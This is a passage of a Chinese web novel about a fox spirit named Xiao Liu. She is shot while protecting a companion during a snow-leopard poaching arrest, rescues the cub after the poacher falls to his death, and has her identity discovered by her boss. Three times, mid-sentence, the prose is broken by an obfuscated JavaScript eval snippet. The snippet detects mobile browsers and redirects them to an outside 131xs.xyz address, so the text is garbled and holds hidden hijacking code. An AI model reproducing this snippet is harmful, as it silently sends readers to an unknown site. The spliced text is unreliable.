刘长顺自我安慰道，好在这畜生还算安分，毕竟打了一支麻醉针，还中了一枪，相比铁笼子里那两只，体型小，背着不至于太费劲。 同伙落网时，刘长顺刚好在不远处，背着小雪豹上树观察地形，还没等他选好逃跑路线，警察突然出现，三下五除二干翻了他们的据点，一帮哥们儿全都被抓。 刘长顺趴在树干上，头埋在肘窝里，大气不敢出，一直等到警察押着同伙下山，等到日落西山，等到周遭重回寂静，他才敢从树上下来，一头钻进密林。 就算进了林子也不安全，刘长顺越往深处走，越是瘆得慌，不知什么东西在嚎在叫，声音忽远忽近，即便是正常的声音，在夜色的烘托下，也变得恐怖异常，一点点动静都能挑动他的神经。 刘长顺后背冷汗直冒，他的手紧紧攥着枪，枪就是他的胆子，他解下布兜，打开查看，小畜生呼吸微弱，任人戳弄，半死不活的样子。 四周的树都长着同样的枝丫，在凄惨的月光下形成同样的暗影，刘长顺失了方向。 人到绝境反而生出破罐子破摔的勇气来，报应就算要来，也得等把畜生换成钱再来，刘长顺把心一横，挑了一棵枝干粗壮的歪脖子树，爬了上去。 在刘长顺的计划里，他会在天亮时分下山，跟买家接头，把雪豹换成钱，在警察从同伙嘴里撬出他的消息之前溜之大吉。 这可是一万块，他从十几岁外出打零工，直到现在三十岁，兜里都没有一万块，这笔钱对他来说诱惑太大了，足以让他铤而走险。 刘长顺趴在树干上，背上的雪豹崽子成了保暖工具，他想东想西，不自觉地滑进梦乡，很不幸，他的美梦没能做多久。 即便小柳几人再小心，在密林里行走的声音还是触动了刘长顺脆弱的神经，他猛地惊醒，两只眼睛像探照灯一样扫视着四周。 林子里有人！而且不止一个！脚步声越来越近，明显是冲着自己来的！ 刘长顺一下子慌了神，仓皇逃窜几乎是身体本能。 可小柳一行人怎么会放过他，随着小姚警官一声怒喝，他的行迹已经完全暴露。 黑暗中的密林对于普通人来说是绝好的隐匿场所，可小柳的存在，让罪恶在黑暗中无所遁形。 小柳凝聚灵识，朝着他逃跑的方向一击，刘长顺小腿一痛，向前扑倒。 跑得掉便拿钱潇洒，跑不掉受牢狱之灾，刘长顺才不管什么雪豹、花豹，他不接受自己因为个畜生坐牢，就像他不接受烂赌成性的自己是个穷光蛋一样。 他一手捂着小腿，一手攥着兄弟从黑市买来的土猎枪，“砰”，子弹飞出，直奔周家宝而去。 一切发生得太快，众人只听“砰”的一声，嫌疑人开了枪，子弹打中人了吗？大家七手八脚地打开手电查看。 周家宝感觉浑身血液都凝固了，可他没有受伤，因为小柳整个人扑到了他怀里，挡在了他身前，他的手上沾满着小柳的血。 狐妖的血，也是红色的，也是炙热的。 周家宝想叫，满手的血让他惊恐万分，但他只能张着嘴，喉咙发紧，却发不出一点声音，他托着小柳的后背，甚至不敢太用力，仿佛稍一用力，怀里的人便会软绵绵地倒下。 狐妖中弹，会死吗？ 木青杨看到这一幕，心都碎了，他把小柳的手从周家宝身上拿下来，让小柳靠在自己身上，喊她的名字。 两个警官在稍远的位置，朝着子弹飞来的方向放了几枪。 嫌疑人开枪开得太突然，在场的都是脆弱的人类，小柳不愿看到任何一个同伴死去，所以危机之下，选择了用自己的后背接下子弹。 不过好在她是妖，即便被子弹打中，皮肉也在重新缔结，包裹着弹壳，极速愈合着，最终在背上隆起一个抱着弹壳的肿块。 “店长，我没事。”小柳伏在木青杨身上，她的耳朵动了动，发现嫌疑人一瘸一拐地跑远了，小柳焦急地说：“快，接着追啊。” “小姚、昊子，在那边，快去追。”木青杨冲着两位警官大喊，见他们还是不放心小柳，又补充道：“没事儿没事儿，没打到，只是擦伤。” 周家宝听到小柳还能开口说话，这才回过神来问小柳：“没……没事儿吧……” 小柳因为周家宝受伤，木青杨气不打一处来，见他呆愣愣的样子，忍不住生气地说：“这是枪伤，你说有没有事儿？” 可说到底，在木青杨看来，周家宝只是个普通人，他不知道小柳是妖，被吓傻了也情有可原，所以木青杨也不能表现得太生气，他只能继续给小柳打掩护，不让其他人发现她的异样。 “我叫救护车，嫌疑人警察已经去追了，我们马上下山。”木青杨拿着手机就要拨112。 小柳按着他的手，急着说：“不要，不能去医院，我好了，我没事。” 她撑着站直身子，尽量表现出没事的样子，其实后背还在火辣辣得疼。 “你真的没事儿吗？可你……”周家宝话说了一半，但他心知肚明，小柳一只妖根本不能去医院，不能把她当普通人对待，也就由她去了，没再劝说。 “真的没事儿，就是擦破皮，吓了一跳。”小柳语气轻松地回答道。 木青杨将外套披在她身上，盖住了伤口，小柳穿好外套，给了木青杨一个感激的眼神。 “别过来，再过来我就把它扔下去！”小柳的耳朵捕捉到了嫌疑人的喊叫。 不好，他要对小雪豹不利！小柳来不及解释，朝着声音传来的方向跑去。 木青杨和周家宝紧随其后。 穿过密林，三人来到一处断崖，嫌疑人正站在断崖边缘，举着布兜子，跟小姚、昊子两位警官对峙着。 他的情绪很激动，扬言要把雪豹扔下悬崖，警察就是为了解救雪豹而来，因此不敢轻举妄动。 小姚警官举着枪，冲他喊：“反抗是没有意义的，你现在回头还来得及。” 嫌疑人无法自抑，涕泗横流。来得及吗？刘长顺也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126326|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在问自己。 他的回答是，来不及了。 不只是站在悬崖边的这一刻来不及，从他冲无辜的生灵开枪，从他加入非法围猎团伙，从他想要铤而走险捞一笔钱，从他不务正业沉迷赌博开始，一切就都来不及了。 刘长顺闭着眼睛，把象征一万块钱的布兜子扔了出去，后退一步，一脚踏进了深渊。 长顺这个名字，是他爷爷起的，希望他能长命百岁、顺顺利利。 此刻的刘长顺跌落崖底，眼睛大睁着，仿佛在渴望着什么，尖锐的石块刺破了他的后脑，切肤之痛，让他体会到了雪豹的痛苦。 他的报应来得很快，一切罪恶的渴望归于虚无，他没有长命百岁，死在了凄惨的月下。 小柳随着雪豹跳下悬崖，动作迅速，身旁的木青杨和周家宝只看到一道虚影坠入悬崖，回过神来才意识到那是小柳。 “小柳！”木青杨喊着小柳的名字，冲向崖边，便要跟着小柳跳下去。 小柳是他的助理，是他的朋友，是他最在意的，不管是人，是妖，还是狗，他都不能接受小柳跳崖。 木青杨脑子几乎一片空白，只让最直接的情感接管自己的身体，而在情感驱使下，他本能的动作就是跟着小柳一起跳下去，即便是作为一个陪葬品，也不能让小柳孤单地下坠。 可他没能如愿，周家宝死死搂着他的腰，硬是将他拖住，手上的血蹭满了木青杨的衣襟。 “你不要命了！” “放开我！” 周家宝管不了那么多，为了制止冲动的木青杨，他只好说出了小柳的秘密。 “她是狐妖！不会死的！” …… 小柳确实没死，她躺在崖底，半边身子浸泡在溪水里，尽管在夏夜，高山溪流还是刺骨的冷，可她没有力气挪动身子，只能任由妖血在溪流中漫开。 背上的肿块又裂开了，大概是因为妖术使用过度，剩余的一点点力气都留给了怀里抱着的小雪豹，没有多余的心力维持自身了。 好在小雪豹恢复了生机，小柳听着它逐渐加强的呼吸声，嘴角扯出一抹笑，力气耗尽疲惫地闭上了眼睛。 麻醉失效了，枪伤愈合了，缓过来的小雪豹一扭一扭从布兜子里钻了出来。 它知道身下的女孩是它的救命恩人，它的力气太小，叼着小柳的衣角，但没法把她拖到岸上，只能用热乎乎的舌头舔着小柳的脸和头发，希望她能醒过来。 可力竭的小柳一动不动，小雪豹感受着小柳的呼吸，团成一团环抱着小柳的脑袋，迟迟不愿离去。 不知过了多久，小雪豹警惕地抬起了头，手电筒的灯光乱晃，最终聚焦到小柳身上，小雪豹冲来人哈气，将小柳的头护地更紧了。 “小柳老师！” 小柳在一片混沌中，只觉得这声音很熟悉，反复几次后，她终于认出来人是小姚警官。 小柳轻轻吐出两个字：“别怕。”安抚炸毛的小雪豹。 小姚警官小心翼翼地涉过溪水，看眼前的雪豹似乎没有攻击倾向，鼓起勇气伸出手，确认小柳的状态。 太好了，她还活着！ 22. 抱抱 妖和妖结合，会生出小妖，这个世界上大部分狐妖都是狐妖妈妈生的。 小柳和其他狐妖不一样，在成为狐妖之前，她只是一只普通的狐狸。 五百多年前，也是这样一个夏夜，天空中高悬一轮明月，小狐狸趴在岩石上百无聊赖打盹，月光像一层薄纱笼罩着她。 小狐狸感觉身体越来越轻，等它睁开眼睛，发现自己被月光托着，停在半空中。 她不觉得害怕，只是新奇，第一次从这么高的角度看四周，同样景色换个视角看比平时更美。 从这一刻开始，小狐狸有了心智。 她看到了溪边的柳树，万条垂下绿丝绦，在月光下影影绰绰，好美。 后来她下山认了字，给自己取名林小柳。 再后来，除妖师把她封印在山神庙中，小柳以囚徒的方式重回自己的出生地。 也不知道除妖师选这个地点是不是故意为之…… 小柳已经很久没有回想起五百年前的事了，她半躺在冰冷的溪水里，好像回到了还是普通狐狸的时候，古早的记忆一股脑地涌上来。 她听到小姚警官来了，可她的眼皮好沉重，努力半天都睁不开眼。 不一会儿，小柳就听到了木青杨的声音。 和小姚警官小心翼翼地试探不同，木青杨知道小柳异于常人，没有那么容易死，他将小柳拖到岸上，大力摇晃，边晃边喊：“小柳！” 这是印象里那个贴心的店长吗？小柳快被他吵死了，脑浆都晃成了一团浆糊。 …… 乐子听到小姚警官的怒喝，活动活动脚腕，确认自己没事后也进了密林，不久后前方枪声四起，乐子哪见过这阵势，吓得抱头蹲在原地，过了好长时间才站起身。 他一个人待在深山里更害怕，所以确认没有危险后，就一路往前走，终于走出了林子，却发现断崖上空无一人。 他走到断崖边，崖底呼喊声越来越大，乐子蹲下身子，两只手撑着，探出头去向下看，这才发现人都在崖底呢。 他不知道发生了什么，环顾四周，挑了一处稳妥的小路，一路拽着树干藤蔓溜下去。 他朝着手电光跑去，好不容易找到大部队，还没来得及开心，就被凉透了的嫌疑人尸体吓了个半死。 昊子警官正守在尸体旁跟胡队通电话，很快就会有人来帮忙做收尾工作。 乐子忍着恶心继续往前走，他看到木青杨他们都聚在一起。 走近一看，乐子一下就慌了，小柳老师怎么躺在这儿？脚边还趴个雪豹。 “怎么了这是？”乐子扒拉扒拉周家宝，周家宝沉默不说话，乐子又扒拉扒拉小姚警官，小姚警官也摇摇头。 “报警啊！叫救护车啊！去医院啊！”乐子慌了神，要不是他大晚上把小柳老师从宾馆薅过来，人也不会躺在这儿。 “去医院”三个字一喊出口，像一道闪电出现在小柳混沌的脑海中，去什么医院！一去医院她就暴露了！ 木青杨看到小柳嘴巴一张一合，似乎在说着什么，他凑近仔细倾听，小柳小声嘟囔着不断重复：“不去医院。” “喂！我们这儿有伤员，地址是七峰山……七峰山哪儿啊？”乐子焦急地问小姚警官。 小姚警官没说话，就算叫了救护车，也只能停到山脚下，从崖底到山脚这段路还是得主动走才行，可木青杨抱着小柳完全没有赶紧下山的意思。 木青杨抬起头对乐子说：“我们不去医院，下山吧，回宾馆。” 乐子还在努力描述着七峰山断崖的位置，周家宝直接从他手里把手机夺过来，挂断了电话。 “先下山吧，小柳不愿意去医院。” 这是什么话？受伤了不去医院在山里耽误时间，乐子怀疑自己扭脚的时候把脑子扭坏了，怎么周围这帮人全变得这么奇怪呢？连小姚警官都默许了这个奇怪的决定。 可乐子终究拗不过木青杨和周家宝两个人，只好和他们一起带着小柳下山。 木青杨抱着小柳准备起身，小柳的胳膊无力地垂下，小雪豹立起上身，用脑袋蹭蹭她的手，借着这次接触，小柳告诉雪豹让它乖乖待在小姚警官身边，等着救援。 小雪豹蹭了好几次她的手，最终还是依依不舍地回到小姚警官脚边，趴了下来，目送小柳一行人离开。 …… 酒店房间内，小柳趴在被子里，只露出一个脑袋。 不同于之前，这次她的伤口不知道怎么回事迟迟没有愈合，不过好在肿块重新裂开后，子弹壳掉了出来，木青杨把她放在床上，小心翼翼地帮她包扎好，怕压到伤口，只好让小柳趴着。 小柳体温明显升高，摸着烫手，但人却一阵阵打着寒颤，木青杨只好把棉被往里掖了掖。 周家宝站在一旁，手里提着慢慢一兜子绷带、碘伏和其他急救药品，这是他紧急去医院买来的，不过他的功能仅限于跑腿，木青杨死活不让他碰小柳。 等小柳的情况稳定下来，木青杨总算腾出时间来处理周家宝的事。 “你接近小柳是什么目的？”木青杨开门见山地问。 周家宝在床边坐下，看着手上残留的血迹，反问道：“既然知道她是妖了，不怕吗？” “我一直都知道。”木青杨看着小柳，温柔地把她散落到脸上的头发掖到耳后，不过他没想到小柳是狐妖，一直把她当成小狗圆圆。 “哦？”周家宝很惊讶，原来他在想要跳崖之前就知道了小柳的身份，那他这又是何必呢…… 木青杨冷静的声音响起：“不管你为什么知道小柳的身份，也不管你有什么目的，我希望你离小柳远一点，她跟你应该无仇无怨吧？保持距离，大家还能做普通朋友。” 周家宝自嘲地笑笑，他能有什么目的，他只是听舅舅的吩咐来监视狐妖，谁知道狐妖不但没有害人，还豁出命帮助人。 他下意识摸摸自己的心口，如果不是小柳，子弹穿过的就是他的心脏。 “等小柳没事了我就走，以后不会再出现了。”以德报怨的事情他做不来，他不能再以除妖师的身份处心积虑接近自己的恩人。 “现在就走吧，趁她还没醒。” 周家宝也想像木青杨一样理直气壮地站在小柳身边，他第一次希望自己是个普通人，而不是除妖师，可他姓周，天生就站在小柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126327|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对立面。 他叹了口气，把药品放在床边，深深地看了小柳一眼，小脑袋露在被子外面显得很可爱，可惜，这是最后一眼了。 周家宝出了门，拨通了周陈飞的电话，还是用一贯耍赖皮口吻说：“舅舅，监视狐妖这活我可干不了，你让六子接着干吧……你不知道，我今天晚上差点死了……要是让我妈知道了……” 他打着电话，头也不回地走远了。 房间里只剩木青杨和小柳，木青杨坐在小柳床前，回忆着和她相识以来的点点滴滴…… 她把木雕挂坠认成小狐狸，她喜欢吃饭、力气很大，她精通兽语，她有着毛茸茸的白色尾巴、敦实的后背，原来她是狐妖啊，一切都有迹可寻。 比起小狗圆圆，小柳更像她自己，一只健康壮实、单纯善良的白狐，是自己先入为主了。 木青杨心里很乱，他也不像表面上看起来这么冷静，中枪、跳崖，这些事情已经远超他的承受能力，平静只是震惊过度后神经绷断的假象。 为什么小柳还没醒？她不是厉害的狐妖吗？木青杨冷静的背后是深深的无力感，每一次他都帮不上什么忙，小柳总是用她强大的身体硬抗，可这一次能扛得过去吗？ 小柳额头上冒着冷汗，木青杨一遍遍擦拭着，他在心里一遍遍祈祷，希望自己这个凡人的祷告能引起神明的注意，多多保佑善良的狐妖，保佑她健康平安。 天边泛起鱼肚白，清晨第一缕阳光照在小柳的头发上，“嘶”，她活动一下手掌，发现浑身骨头像散了架一样，处处酸痛。 她闭着眼睛，慢慢活动全身，很好，基本上复原了，但还是好累，趴着的姿势让她呼吸有点不顺畅，小柳用胳膊撑着翻了个身。 感觉哪里不对，她迷迷糊糊地想。 是耳朵！她把胳膊从被窝里拔出来，摸摸耳朵，天呐，这毛茸茸的触感是怎么回事？狐狸耳朵怎么跑出来了？ 小柳一下清醒过来，一睁开眼便看到伏在床边打盹的木青杨。 怎么办？怎么办？小柳试着凝聚灵魄遁走，可惜昨天用力过猛，现在全身软绵绵的根本做不到。 眼看木青杨动了动，很快就要醒了，小柳一着急，猛地把被子拽上来，蒙住了头。 这么一折腾，木青杨也醒了，“小柳，你醒了吗？”木青杨试图掀开被子。 小柳死死拽着被子，木青杨愣是没掀动。 搞不清楚状况的木青杨也开始着急，埋怨自己怎么能在关键时刻睡着。 被子内外的一人一狐都慌了神，像拔河一样，拽着被子朝相反方向同时使劲。 小柳毕竟刚从伤痛中苏醒，力气还没恢复，没拔过木青杨，被子被掀开了，两只毛绒耳朵暴露在木青杨面前。 木青杨拿着被子角当场愣住，毛绒尾巴和毛绒后背都已经看过了，毛绒耳朵还是第一次见。 趁着木青杨愣神的瞬间，小柳猛地坐起身，把被子抢回来，蒙住了头。 床上隆起大大的棉被团子，木青杨被她可爱到了，不自觉地笑出了声，他伸出双手慢慢靠近，将这团被子抱个满怀。 “不要躲了，我知道你是妖。” 23. 告别 啊？小柳脸烫得像火烧，心却拔凉拔凉的，怎么会这样？从什么时候开始暴露的呢？ 她感受到来自被子外面木青杨双臂的压力，一动也不敢动。 叮铃铃，木青杨的手机铃声突然响起，他只好松开小柳接电话，小柳长舒一口气，感谢这通电话救了自己。 “喂，店长，小柳老师好点了吗？”电话是乐子打来的。 木青杨看着隆起的被子，打开免提，回答道：“好多了，今天已经活蹦乱跳了。” 乐子在电话那头大吃一惊，下巴都合不上了，结结巴巴地说：“这就……好了？昨天看起来明明伤得很重啊！” 木青杨含含糊糊敷衍道：“对，她身体比较好……” “那行，店长，我上午过去看看小柳老师吧，昨天晚上要不是我叫她去现场，小柳老师也不会受伤……”乐子歉意满满地说。 小柳在被子里听着二人的对话，当她听乐子说要来看望自己时，急忙把手从被子缝里伸出去，连连摆手，她的毛绒耳朵还没变回去呢！ 木青杨只好找借口推辞，拒绝了乐子的一片好意，只说等小柳精神头好点了，再跟乐子聚一聚。 乐子闻言也不再坚持，只说：“那让小柳老师好好休息吧，有需要的时候随时打电话啊。” 电话里乐子还告诉木青杨，小雪豹已经被送到动物园了，跟两只大雪豹一起，被安置在不对游客开放的生活馆，等调理好身体再放归。 以及非法围猎雪豹的嫌疑人，除了崖底去世的那个，已经全部落网，乐子让木青杨转告小柳雪豹们安全了。 小柳在被子里听着事件后续，深感欣慰，雪豹们能够平平安安就好，也算是不辜负自己一番努力。 电话很快挂断了，房间里再次陷入诡异的安静。 木青杨率先开口，打破尴尬的气氛。 “小柳，你出来吧，没事，我都看到了，得出来换药。” 小柳把心一横，不再扭捏，闭着眼睛拉开被子，彻底暴露在木青杨面前。 木青杨怕她尴尬，没有多余的动作，只是拿着药水纱布，轻声说：“换药吧。” “店长，我觉得伤口应该长好了……” 话音未落，木青杨已经将纱布揭开，眼前的景象让他十分诧异，这伤口算长好了吗？ 木青杨举着手机拍了张照片，将手机塞到小柳手里，“你看伤口这样正常吗？” 小柳闻言睁开眼，看看照片，奇怪…… 背部的伤口已经愈合，皮肤虽然平整了，可是，以弹孔为中心，紫红色的血管蔓延开来，像朵张牙舞爪的花。 她把手伸到后背摸摸伤痕，不痛不痒的，怎么会这样呢？ “我也不知道，应该是好了吧，第一次发现这种情况……”小柳不确定地说。 “你能去看兽医吗？我是说，变成狐狸去宠物医院？”木青杨边给小柳换纱布，边试探性地问。 “不行，我是妖，自己会好的，人类医生治不了我。”小柳对自己的康复能力还是很自信的，毕竟被除妖师重伤，丢在封印里都能慢慢复原，何况是一个小弹孔呢。 木青杨拿了一件自己的T恤叫小柳换上，看她穿着宽大的衣服懵懵地坐在床上，忍不住伸出手捏捏她的耳朵。 小柳不情愿地晃晃脑袋，木青杨看她的反应，打趣道：“你晃脑袋的时候真的很像小狗。” “你才是狗呢，我可是狐狸！”小柳气鼓鼓地说。 既然身份已经被发现了，小柳也不再藏着掖着，好奇地问木青杨：“店长，你什么时候发现我是狐妖的呢？” “在鹏哥那儿，那天晚上你趴在床底下……”木青杨刚起了个头，小柳立马明白了，她懊悔地捶几下被子，整天清醒克制又有什么用，才喝了一点点酒就大意了，前功尽弃。 以后再也不喝酒了，小柳暗下决心。 “不过……”木青杨欲言又止。 “不过什么呀？”小柳追问。 “不过我以为你是只小狗。” “你才是狗呢！”都说了是狐狸，就算是店长也不能总是不尊重妖格。 “好吧好吧，我是狗。”木青杨无奈地摇摇头。 插科打诨间隙，小柳还是忍不住担心以后，她小心翼翼地问：“店长，那你知道我是狐妖了，你不怕我吗？我还能接着回木雕店吗？你会不会不愿意……” “怎么，你不想干了？店里还得靠你直播挣钱呢，你是骨干员工。” 骨干，高级词汇，小柳没听懂，但如果是骨头，那一定很重要了，她的眼睛水汪汪的，看向木青杨的眼神满是感激。 “不过……”木青杨卖了个关子。 小柳忙追问：“不过什么呀？” “不过你从一开始就企图欺骗，行为恶劣，这次出差赚的钱罚你分我一半。” 五万的一半就是两万五，小柳有点肉疼，她虽然初入人世，但她知道钱很重要，刚入职就倒欠三千，现在好不容易赚钱了，还得分一半给别人。 不过毕竟自己一直在隐瞒身份，欺骗店长，为了能回到木雕店，她纠结片刻，终于痛下决心，半天蹦出一个字：“行。” 这家伙，当人才多久啊，其他东西没学会，财迷属性倒是暴露无遗，木青杨看她为难的样子，不厚道地笑了，自己也算是趁火打劫了。 今天一整天，小柳的毛绒耳朵都支棱着，除了在房间里待着，哪儿都不能去，她百无聊赖地刷着短视频，发给周家宝的信息一直没人回复。 小柳心里犯嘀咕，自己醒了这么久了，家宝怎么还不来看她，可鉴于店长和家宝不对付，她也不敢问店长。 “别玩手机了，越玩越恢复不了。”木青杨从小柳手里抽走手机，一脸严肃地叫她闭上眼睡觉，养精蓄锐。 小柳只好闭上眼睛没觉硬睡，不一会儿便迷糊过去，睡熟了。 …… 第二天，木青杨一大早就给小柳打电话叫她起床。 “小柳，看看耳朵好了没？” 小柳困得眼都睁不开，这一觉睡得太沉了，像昏过去一样，她抬手在头上摸了一圈，没有狐狸毛，没有支棱的耳朵，只有人类皮肤的触感。 “等一下，我去看看。” 她揉揉眼睛，跑到洗手台前看镜子里的自己，进一步确认，头顶无异常，正面无异常，拽开领口，背面的紫红色痕迹还在。 不过狐狸耳朵总算收回去了，这意味着她不用再躲在酒店里，小柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126328|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋地说：“太好了店长，我变回来了！我们可以出发去动物园看雪豹了！” 木青杨叮嘱小柳穿戴整齐，最好捂严实点，随后给乐子打了电话。 小柳上车时发现开车的是乐子而不是周家宝，很是吃惊。 “乐子，你怎么这么早就过来了，家宝呢？” 木青杨替乐子回答了她的问题：“周总说公司有事，得回去处理，就先回去了。” 小柳听了这个解释，心里总觉得奇怪，一路上都闷闷不乐，家宝怎么不回信息，也不接电话，一声不吭就走了呢？可惜那天三人同处一室，小柳完全晕了，根本没听到店长和周家宝的对话。 不告而别的朋友让她心里堵得慌，直到看到雪豹们，心情才好了一点。 小雪豹一看到小柳便屁颠屁颠地跑过来，隔着厚厚的玻璃，冲她翻肚皮。 它的一条命是小柳救回来的，生命垂危的小雪豹重获生机后第一眼看到的就是小柳，类似于雏鸟情节，它和小柳之间产生了一种强烈的情感联结，对小柳百分百信任。 小柳看着小雪豹活泼可爱的模样，很是欣慰，平平安安的就好，她希望人类和动物们能像现在这样和谐地相处。 其他两只雪豹状态也很不错，正悠闲地卧在树干上，非常惬意。 小柳和小雪豹说了好多话，传授自己还是普通狐狸时的生存秘籍，希望小雪豹回归山林后能健康自由地长大。 众人告别了雪豹们，乐子又带着小柳和木青杨重游一次动物园，一路上经过熊猫馆、鸟类区、灵长类区、猛兽区等等区域，每到一个地方，小柳都会和小动物们一一告别。 和小动物们的告别仪式持续了一上午，接下来便是和人类朋友们的告别式。 乐子叫上宋姐、李爷爷一起吃饭，为小柳和木青杨饯行。 还是熟悉的羊肉馆，还是一样香喷喷的好饭好菜，几天之内发生了这么多的故事，不熟悉的人们变成了朋友，小柳心里五味杂陈。 她舍不得乐子、舍不得宋姐、李爷爷，也舍不得动物园里的动物们，万分不舍都凝结在小小的酒杯里，酒杯碰撞在一起发出清脆的声音，小柳在这热闹的氛围里红了眼圈。 宋姐发现小柳眼睛红红，搂着她的肩膀安慰道：“小闺女，以后经常回来看看我们，又不是不见面了，不要难过。” “就是就是，小姑娘了不起啊，这么会和动物沟通，要不是你家离得远，我都想跟园长说干脆把你聘过来好了。”李爷爷爽朗地笑着说。 木青杨也难得活跃了一次，顺着李爷爷的话茬打趣道：“这可不行，这么大个动物园怎么还和我们小店抢员工呢？” 大家互相开着玩笑，回忆着这几天发生的趣事。 乐子清清嗓子，一本正经地对小柳说：“小柳老师，你受伤的时候我真的害怕死了，那天多亏有你在现场，啥也不说了，我代表所有的动物们、工作人员们敬你一杯。” 小柳鼻子酸酸的，和他碰杯，自己只是为动物们做了一些微薄的努力，更需要致敬的，是像宋姐和李爷爷这样日复一日致力于动物保护的人们。 西北野生动物园之行在告别式中落下帷幕，喝完这杯酒，小柳和木青杨也到了该返程的时候。 24. 小心 回程的航班起飞，小柳依旧坐在窗边，从沟壑纵横的山地一路行至高楼林立的都市。 像是做了一场梦，绕了一圈又回到了熟悉的城市。 小柳在短时间内经历太多次离别，再次面对朋友的不告而别，也不是那样难以忍受了。 刚落地，小柳的手机铃声响起，是动物园园长的电话。 “喂，小柳老师，安全落地了吧？昨天本来想跟您一起吃饭的，实在是太忙了，不好意思啊。” 园长怎么这个时候打电话呢？该不会是视频出了什么问题吧…… 小柳不禁皱了眉，拽拽身旁的木青杨，客气地回复道：“园长您太客气了，我和店长已经到机场了，马上就回家，谢谢您这么多天的照顾。” 木青杨见小柳紧张的样子，冲她点点头，示意她少安毋躁。 寒暄的话说完，园长总算进入正题：“小柳老师，咱们的视频发布以后，反响特别好。” “真的吗？我还没来得及关注呢！”原来园长是来报喜的啊，小柳松了一口气。 “辛苦小柳老师了，我听乐子说您前天还因为雪豹的事受伤了，实在是不好意思，我们讨论了一下，视频反响好都是您的功劳，在五万块基础上，马上再给您额外支付一笔奖金。” 小柳惊讶地叫出了声，把身旁的木青杨吓了一跳，她激动地跟园长道谢，喜滋滋地挂断了电话。 “什么事啊，怎么突然这么开心？”木青杨看她笑得灿烂也笑着问她。 小柳打开视频软件，果然系列视频点赞评论多到超乎自己的想象。 她开心地说：“发财了！园长说有额外奖金打给我们。” 话音刚落，“叮”，短信提醒来了。 ——银行卡到账三万元。 出差这一趟可太值了！住宿吃饭都不用花钱，净赚八万块！ 小柳捧着手机，激动地直跺脚，周围的路人都看着小柳，这么多双眼睛盯着让木青杨很不自在，他按着小柳的肩膀，提醒她：“低调、低调。” 小柳开心地跟木青杨展示到账信息，木青杨有心逗她，笑着问：“那你这钱是不是得分我一半？” 刚刚还喜滋滋的小狐狸肉眼可见地蔫了…… 小柳耷拉着脑袋，又鬼鬼祟祟地抬眼观察店长的脸色，木青杨一副刚正不阿的样子，脸上挂着几个大字—— “不能说话不算数” “好吧……这个月发工资的时候可以只发我一半……” 木青杨看她可怜巴巴的劲儿只觉得好笑，揉揉她的头毛说道：“走吧，赶紧回家。” 说完头也不回，美滋滋地背着手走远了。 小柳赶紧小跑跟上，万分心酸只能往肚里咽…… 回家路上，小柳给月婷姐打了电话，等她和木青杨一回到木雕店，月婷姐已经牵着绵绵等在了门口。 “终于回来了！累不累？”月婷姐迎上来，接过小柳手里的包。 “不累不累。”小柳跟月婷姐拥抱一下，绵绵兴奋地直往小柳和木青杨腿上蹦，木青杨伸手一捞，把绵绵抱起来，三人一狗进了木雕店。 木雕店又热闹了起来，街对面的六子又有活干了，他吸溜一口泡面，跟老板汇报：“周总，狐妖已经回来了。” …… 新川建设顶层办公室。 周陈飞摘了眼镜，揉揉眉心，闭着眼睛靠在椅背上，声音低沉道：“你是觉得提前跑回来不会被我发现是吗？” 对面站着的周家宝低头不说话。 “嗯？”周陈飞睁开眼，身体前倾，坐直身子，逼周家宝回话。 都怪老妈！周家宝咬着嘴唇，气愤地想，都说了是偷跑回来，行程要保密，老妈这个大嘴巴还是跟舅舅告密了，害得自己被抓过来问话。 但闭嘴不说话也不是个办法，周家宝把心一横，索性豁出去了，被骂就被骂吧。 “我不是故意跑回来的，人家都发现我知道狐妖身份了。” “人家是谁？人家是怎么发现的？”周陈飞看着外甥这张无辜的脸，冒着傻气，真叫人恼火。 “哎呀，就是那个木雕店的店长，木青杨，他非得跟着狐妖跳崖，我一着急就……”周家宝说话声音越来越小，两只眼睛瞟向舅舅，周陈飞示意他接着往下说。 “这可是你叫我说的啊，说完了你可别骂我。”周家宝先宣布了免责声明，一股脑把在西北发生的事讲了一遍。 周陈飞越听脸色越差，顶着一张大黑脸问道：“所以你是说，你主动告诉木青杨狐妖的身份，然后还被木青杨嫌弃，最后灰溜溜地走了，是这样吗？” 基本事实倒是没错，可这话从舅舅嘴里说出来怎么这么难听呢？ “大概就是这样吧……”周家宝察觉气氛不对，又替自己找补一句，“可是狐妖真的没有害人，而且心肠很好的……” 呵呵，周陈飞毫无预兆地笑了几声。 这笑吓得周家宝起了一身鸡皮疙瘩，舅舅这是气疯了吧，怎么笑得这么诡异？ 